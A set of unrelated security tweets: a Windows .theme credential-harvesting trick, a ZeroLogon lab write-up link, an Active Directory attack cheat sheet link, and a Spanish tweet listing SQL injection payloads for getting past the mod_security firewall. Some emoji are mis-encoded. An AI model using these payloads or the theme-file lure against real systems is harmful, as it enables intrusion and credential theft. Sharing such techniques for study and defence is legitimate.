[Credential Harvesting Trick] Using a Windows .theme file, the Wallpaper key can be configured to point to a remote auth-required http/s resource. When a user activates the theme file (e.g. opened from a link/attachment), a Windows cred prompt is displayed to the user 1/4
The ZeroLogon exploit has blown up over the last week as POCs have been published. Quick post with some background and taking it for a spin on the Monteverde machine from @hackthebox_eu.
https://t.co/nfiOGxF6Ab
sql injection mod_security bypass usando distinct
-1' union+select+1+--+โ๏ธ
-1' union+distinct+select+1+--+โ๏ธ
-1' and union+distinct+select+1+--+โ๏ธ
-1' and .0union+distinct+select+1+--+โ
un bypass no siempre es complicado
#bypass#sql#CyberSecurity#payloads
ICSI | Certified Network Security Specialist Course is now free till the end of the month, use code #StaySafeHome at checkout! ๐
https://t.co/NCZW7Y8Czq
Active Directory Exploitation Cheat Sheet - A cheat sheet that contains common enumeration and attack methods for Windows Active Directory https://t.co/FqQB4Kpe5y